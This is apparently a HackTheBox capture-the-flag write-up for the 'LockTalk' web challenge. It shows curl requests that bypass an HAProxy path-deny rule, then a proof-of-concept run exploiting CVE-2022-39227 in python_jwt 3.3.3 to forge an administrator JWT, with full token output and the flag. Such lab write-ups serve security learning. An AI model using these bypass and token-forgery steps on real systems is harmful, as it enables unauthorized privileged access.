LockTalk
Description
In "The Ransomware Dystopia," LockTalk emerges as a beacon of resistance against the rampant chaos inflicted by ransomware groups. In a world plunged into turmoil by malicious cyber threats, LockTalk stands as a formidable force, dedicated to protecting society from the insidious grip of ransomware. Chosen participants, tasked with representing their districts, navigate a perilous landscape fraught with ethical quandaries and treacherous challenges orchestrated by LockTalk. Their journey intertwines with the organization's mission to neutralize ransomware threats and restore order to a fractured world. As players confront internal struggles and external adversaries, their decisions shape the fate of not only themselves but also their fellow citizens, driving them to unravel the mysteries surrounding LockTalk and choose between succumbing to despair or standing resilient against the encroaching darkness.
Analysis
The application is based on JWT tokens, you can get token, join chat and get flag. The twist is the proxy:
frontend haproxy
bind 0.0.0.0:1337
default_backend backend
http-request deny if { path_beg,url_dec -i /api/v1/get_ticket }
Because of this rule any reqeust from anywhere is denied to get_ticket. But this limitation only works on given path. If you add ./
in path or //
you will end up on same endpoint, but since path dont match with the rule you can bypass proxy restrictions.
➜ curl http://83.136.250.41:46240/api/v1/get_ticket
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>
➜ curl http://83.136.250.41:46240/./api/v1/get_ticket
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>
➜ curl http://83.136.250.41:46240/./api/v1/get_ticket --path-as-is
{"ticket: ":"<TOKEN>"}
➜ curl http://83.136.250.41:46240//api/v1/get_ticket --path-as-is
{"ticket: ":"<TOKEN>"}
Cool, we have a token. Now what?
In the source code we see JWT_SECRET_KEY
is being set by jwcrypto
, but the application is using python_jwt
which doesn't make sense? Why have 2 packages that do almost the same thing. In the requirements.txt
we see that this package is explicitly version 3.3.3 (python_jwt==3.3.3
)
python_jwt: Note: Versions 3.3.4 and later fix a vulnerability (CVE-2022-39227) in JSON Web Token verification which lets an attacker with a valid token re-use its signature with modified claims. CVE to follow. Please upgrade!
Solution
Use the PoC script to change JWT token, token must be retrieved from get_ticket endpoint (important!) and change role to administrator
to get flag.
└─$ py cve_2022_39227.py -j 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzNDcwMjQsImlhdCI6MTcxMDM0MzQyNCwianRpIjoiY3pwalljSjNuNnJCX2tleDRvanN1QSIsIm5iZiI6MTcxMDM0MzQyNCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.HCGrI1HWDDeHAbNySq1n-vIxVuBpw_HXvVZgIVpFbxNP1h0lkIOiUnPy1BKnIDhEYd44uHFv5BbZB9WiU5LbmCs7WwfkQLLAsOKDsz_KqCdpiWtY2X-kZCg-ZPJj8fOpbU3eosI0y-dQh15m3SrGLzvr3oAcsUdJt8fGB34amDXAPCR46XvXqrYw9ITdYlBv72fdb0H1wbYFgjcZTntD1ecaObnWQ_QrDnwvowxeapANUJceuWCBlpu_J31Re0goYuaP5brseyEEG8rfvx1BSSnTJaangVIilP2VBPxQhXWnjbeeJx4M_88puZ824LKIbLo0aRtuG03TMPFc4c5UrQ' -i 'role=administrator,user=administrator'
[+] Retrieved base64 encoded payload: eyJleHAiOjE3MTAzNDcwMjQsImlhdCI6MTcxMDM0MzQyNCwianRpIjoiY3pwalljSjNuNnJCX2tleDRvanN1QSIsIm5iZiI6MTcxMDM0MzQyNCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ
[+] Decoded payload: {'exp': 1710347024, 'iat': 1710343424, 'jti': 'czpjYcJ3n6rB_kex4ojsuA', 'nbf': 1710343424, 'role': 'guest', 'user': 'guest_user'}
[+] Inject new "fake" payload: {'exp': 1710347024, 'iat': 1710343424, 'jti': 'czpjYcJ3n6rB_kex4ojsuA', 'nbf': 1710343424, 'role': 'administrator', 'user': 'administrator'}
[+] Fake payload encoded: eyJleHAiOjE3MTAzNDcwMjQsImlhdCI6MTcxMDM0MzQyNCwianRpIjoiY3pwalljSjNuNnJCX2tleDRvanN1QSIsIm5iZiI6MTcxMDM0MzQyNCwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiYWRtaW5pc3RyYXRvciJ9
[+] New token:
{" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzNDcwMjQsImlhdCI6MTcxMDM0MzQyNCwianRpIjoiY3pwalljSjNuNnJCX2tleDRvanN1QSIsIm5iZiI6MTcxMDM0MzQyNCwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiYWRtaW5pc3RyYXRvciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAzNDcwMjQsImlhdCI6MTcxMDM0MzQyNCwianRpIjoiY3pwalljSjNuNnJCX2tleDRvanN1QSIsIm5iZiI6MTcxMDM0MzQyNCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"HCGrI1HWDDeHAbNySq1n-vIxVuBpw_HXvVZgIVpFbxNP1h0lkIOiUnPy1BKnIDhEYd44uHFv5BbZB9WiU5LbmCs7WwfkQLLAsOKDsz_KqCdpiWtY2X-kZCg-ZPJj8fOpbU3eosI0y-dQh15m3SrGLzvr3oAcsUdJt8fGB34amDXAPCR46XvXqrYw9ITdYlBv72fdb0H1wbYFgjcZTntD1ecaObnWQ_QrDnwvowxeapANUJceuWCBlpu_J31Re0goYuaP5brseyEEG8rfvx1BSSnTJaangVIilP2VBPxQhXWnjbeeJx4M_88puZ824LKIbLo0aRtuG03TMPFc4c5UrQ"}
Example (HTTP-Cookie):
------------------------------
auth={" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzNDcwMjQsImlhdCI6MTcxMDM0MzQyNCwianRpIjoiY3pwalljSjNuNnJCX2tleDRvanN1QSIsIm5iZiI6MTcxMDM0MzQyNCwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiYWRtaW5pc3RyYXRvciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAzNDcwMjQsImlhdCI6MTcxMDM0MzQyNCwianRpIjoiY3pwalljSjNuNnJCX2tleDRvanN1QSIsIm5iZiI6MTcxMDM0MzQyNCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"HCGrI1HWDDeHAbNySq1n-vIxVuBpw_HXvVZgIVpFbxNP1h0lkIOiUnPy1BKnIDhEYd44uHFv5BbZB9WiU5LbmCs7WwfkQLLAsOKDsz_KqCdpiWtY2X-kZCg-ZPJj8fOpbU3eosI0y-dQh15m3SrGLzvr3oAcsUdJt8fGB34amDXAPCR46XvXqrYw9ITdYlBv72fdb0H1wbYFgjcZTntD1ecaObnWQ_QrDnwvowxeapANUJceuWCBlpu_J31Re0goYuaP5brseyEEG8rfvx1BSSnTJaangVIilP2VBPxQhXWnjbeeJx4M_88puZ824LKIbLo0aRtuG03TMPFc4c5UrQ"}
Get the flag with modified auth cookie. Via burp or just curl.
└─$ curl -H 'Authorization: {"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTA0NDEyNjcsImlhdCI6MTcxMDQzNzY2NywianRpIjoiWnNKVGtuaWptZE96MHFyMzlGVC1EUSIsIm5iZiI6MTcxMDQzNzY2Nywicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiYWRtaW5pc3RyYXRvciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTA0NDEyNjcsImlhdCI6MTcxMDQzNzY2NywianRpIjoiWnNKVGtuaWptZE96MHFyMzlGVC1EUSIsIm5iZiI6MTcxMDQzNzY2Nywicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"U6bVY1Iz9CmCLfOvoELZszsLjK-dq8U3oPfFWBMPy0YD4iaPIC8uLy-CSFRs_iRWkCVwCyPSAoaf8T3JLjEUeXqaiP7qGzAV_xxJMLUMV-puylSbYxg2ALWKX386ZD_nlA87P_9Ubf0jX9EKj3811yn0Q0pdSF4r66ENPj7hDUjukU5GoIHPpSbB0VsjmQ1lfk8re2uUcFgvMkChfYEib7_gXnaj42Idd6f0tFvUjiFj4NR2wbL5uBnaKE6Ed4sYOwMd5oPjK_-qQ5fFVlnJl8MFXQwoFlV2IbYwNK5jKrTFCUd2PGgCRC783ki20S-IUOzNeMiwKEd5stwvKD_l4w"}' 83.136.250.41:46240/api/v1/flag
{"message":"HTB{h4Pr0Xy_n3v3r_D1s@pp01n4s}"}
Flag: HTB{h4Pr0Xy_n3v3r_D1s@pp01n4s}
Last updated